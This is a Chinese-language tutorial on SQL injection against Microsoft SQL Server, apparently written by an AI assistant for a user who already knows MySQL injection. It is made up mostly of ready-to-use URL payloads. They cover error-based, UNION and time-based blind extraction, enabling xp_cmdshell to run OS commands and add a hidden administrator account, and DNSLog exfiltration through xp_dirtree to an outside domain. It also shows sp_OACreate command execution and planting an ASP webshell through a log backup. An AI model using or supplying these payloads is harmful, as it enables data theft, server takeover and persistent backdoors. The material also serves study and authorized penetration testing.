MSSQL 特性与核心知识

与 MySQL 相比,MSSQL 在语法和系统表结构上有很大差异,这些差异直接决定了我们的注入手法。

1. 核心系统表与视图

在 MSSQL 中,我们主要依赖 master 数据库以及每个数据库自带的系统表(如 sysobjectssyscolumns)来获取结构信息,或者使用标准的 information_schema

代码段

-- 1. 获取所有数据库名 (类似 MySQL 的 schemata)
SELECT name FROM master.dbo.sysdatabases;

-- 2. 获取当前数据库的所有表名 (xtype='U' 表示用户表)
SELECT name FROM sysobjects WHERE xtype='U';
-- 或者使用标准语法
SELECT table_name FROM information_schema.tables;

-- 3. 获取特定表的所有列名
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users');

2. 关键函数与全局变量

MSSQL 没有 concat() 函数,字符串拼接直接使用 +

  • @@version:数据库版本

  • @@servername:服务器名称

  • db_name():当前数据库名

  • system_user / suser_sname():当前系统用户(判断是否为 sa 权限的关键)

  • host_name():客户端主机名

  • len():返回字符串长度(注意不是 MySQL 的 length()

  • substring(str, start, length):截取字符串(起始位同为 1)

3. 语法限制与特性

  • 不支持 LIMIT: MSSQL 使用 TOP n 来限制返回行数。要实现类似 LIMIT 1,1 的效果,通常需要结合 NOT INROW_NUMBER()

  • 严格的数据类型: UNION SELECT 时,前后查询的对应列的数据类型必须完全一致,否则会报错。

  • 多语句执行(堆叠注入): MSSQL 原生且极度完美地支持 ; 分隔的多语句执行,这使得堆叠注入在 MSSQL 中几乎是默认可用的。


MSSQL 注入核心手法

1. 报错注入

由于 MSSQL 是强类型数据库,数据类型转换错误是 MSSQL 报错注入的核心灵魂。当我们将字符串强制转换为整数(INT)时,数据库会在报错信息中将该字符串的内容明文吐出。

1.1 CONVERT() / CAST() 类型转换报错

这是最经典的 MSSQL 报错注入姿势。

-- 尝试将版本信息(varchar)转换为 int,必然报错并回显版本号
?id=1 AND 1=CONVERT(int, @@version)--
?id=1 AND 1=CAST((SELECT db_name()) AS int)--

-- 爆表名 (配合 TOP 1 和 NOT IN 遍历)
?id=1 AND 1=CONVERT(int, (SELECT TOP 1 name FROM sysobjects WHERE xtype='U'))--
-- 爆下一个表名
?id=1 AND 1=CONVERT(int, (SELECT TOP 1 name FROM sysobjects WHERE xtype='U' AND name NOT IN ('之前爆出的表名')))--

-- 爆字段名
?id=1 AND 1=CONVERT(int, (SELECT TOP 1 name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')))--

-- 爆数据 (拼接并转换)
?id=1 AND 1=CONVERT(int, (SELECT TOP 1 username %2b ':' %2b password FROM users))--

注意:URL 传参时,加号 + 需要被编码为 %2b

1.2 数学运算报错 (1/0)

类似于类型转换,除以 0 也会引发异常,若前面条件配合的好,可以带出数据。

?id=1 AND 1/(SELECT TOP 1 char(94)%2busername%2bchar(94) FROM users)=1--

2. UNION 联合查询注入

由于类型严格限制,在使用 UNION 时不能像 MySQL 那样随便写 1,2,3

技巧: 先使用 NULL 探测列数,因为 NULL 可以匹配任何类型。

-- 1. 探测列数 (假设有 3 列)
?id=1' UNION ALL SELECT NULL, NULL, NULL--

-- 2. 探测数据类型 (逐个替换 NULL 为字符,不报错说明该列是字符型,可用于回显)
?id=1' UNION ALL SELECT 'a', NULL, NULL--  (如果报错,说明第一列不是字符型)
?id=1' UNION ALL SELECT NULL, 'a', NULL--  (不报错,说明第二列是字符型,回显点在这里)

-- 3. 获取数据
?id=-1' UNION ALL SELECT NULL, @@version, NULL--

3. 盲注技巧 (布尔与时间)

3.1 时间盲注

MSSQL 的延时语句非常直观,使用 WAITFOR DELAY,格式为 时:分:秒

-- 基础延时 5 秒
?id=1'; WAITFOR DELAY '0:0:5'--

-- 结合 IF 语句进行时间盲注 (判断当前用户是否为 sa)
?id=1'; IF (SYSTEM_USER='sa') WAITFOR DELAY '0:0:5'--

-- 盲注当前数据库名长度
?id=1'; IF (LEN(DB_NAME())>5) WAITFOR DELAY '0:0:5'--

-- 盲注当前数据库名第一个字符
?id=1'; IF (ASCII(SUBSTRING(DB_NAME(),1,1))=109) WAITFOR DELAY '0:0:5'--

3.2 布尔盲注

与 MySQL 基本一致,通过 SUBSTRINGASCII 配合页面回显进行判断。

?id=1 AND ASCII(SUBSTRING((SELECT TOP 1 name FROM master.dbo.sysdatabases),1,1))=109--

权限提升与数据外带

MSSQL 注入的终极目标往往不是拖库,而是直接获取系统权限(GetShell),这得益于其强大的扩展存储过程。前提:当前连接用户通常需要是 sa(DBA权限)。

xp_cmdshell 命令执行

xp_cmdshell 是 MSSQL 预定义的系统扩展存储过程,允许直接执行操作系统命令。在 SQL Server 2005 之后默认被禁用,但如果是 sa 权限,可以手动开启。

-- 1. 开启高级选项并开启 xp_cmdshell (利用堆叠注入)
?id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

-- 2. 执行系统命令 (无回显情况下,通常结合 DNSLog 或写入 Web 目录)
?id=1'; EXEC master..xp_cmdshell 'whoami > C:\inetpub\wwwroot\whoami.txt';--

-- 3. 甚至可以直接添加系统隐藏账号进行提权
?id=1'; EXEC master..xp_cmdshell 'net user hacker$ 123456 /add & net localgroup administrators hacker$ /add';--

DNSLog 数据外带 (OOB注入)

在没有回显且盲注效率极低(或者被 WAF 限制时长)的情况下,利用 MSSQL 访问 UNC 路径的特性(通常通过 xp_dirtreexp_fileexist),将数据带出到 DNSLog。

-- 声明变量,拼接待外带的数据和 dnslog 域名
?id=1'; 
DECLARE @host varchar(1024); 
SELECT @host = CONVERT(varchar(1024), db_name()) %2b '.xxxxxx.dnslog.cn'; 
-- 构造 UNC 路径并调用 xp_dirtree 引发 DNS 请求
EXEC('master..xp_dirtree "\\' %2b @host %2b '\test$"');--

原理解析:当执行 xp_dirtree '\\master.xxxxxx.dnslog.cn\test' 时,Windows 底层会尝试解析这个域名发起 SMB 请求,从而在我们的 DNS 服务器上留下带有当前数据库名 (master) 的解析记录。

SP_OACreate 突破 xp_cmdshell 拦截

如果安全软件(如 360、火绒)或 WAF 拦截了 xp_cmdshell,我们可以使用基于 OLE 自动化对象的存储过程来执行命令或读写文件。

-- 1. 开启 OLE Automation Procedures
?id=1'; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;--

-- 2. 利用 WScript.Shell 执行命令
?id=1'; 
DECLARE @shell INT; 
EXEC sp_oacreate 'wscript.shell', @shell OUTPUT; 
EXEC sp_oamethod @shell, 'run', null, 'c:\windows\system32\cmd.exe /c whoami > c:\1.txt';--

差异备份写 WebShell

如果权限足够,且知道 Web 站点的绝对物理路径,可以通过备份数据库的方式将一句木马写入到 ASP/ASPX 文件中。

-- 1. 改变当前数据库恢复模式为完整
?id=1'; alter database [数据库名] set recovery full;--

-- 2. 创建一个表并插入一句话木马
?id=1'; create table cmd (a image); insert into cmd(a) values (0x3C25657865637574652872657175657374282261222929253E);-- 
-- (0x... 是 <%execute(request("a"))%> 的十六进制)

-- 3. 进行日志备份,备份路径指向 Web 目录,后缀为 asp
?id=1'; backup log [数据库名] to disk = 'C:\inetpub\wwwroot\shell.asp' with init;--
```这是一份为您定制的 **MSSQL (SQL Server) 注入基础** 笔记正文。考虑到您已经掌握了 MySQL 注入的基础,并且重点关注实战手法、代码和示例,我省略了基础的“SQL注入原理”等通用理论,直接切入 MSSQL 的特性、特有注入手法以及实战中常用的利用链(如 `xp_cmdshell` 和 OOB外带)。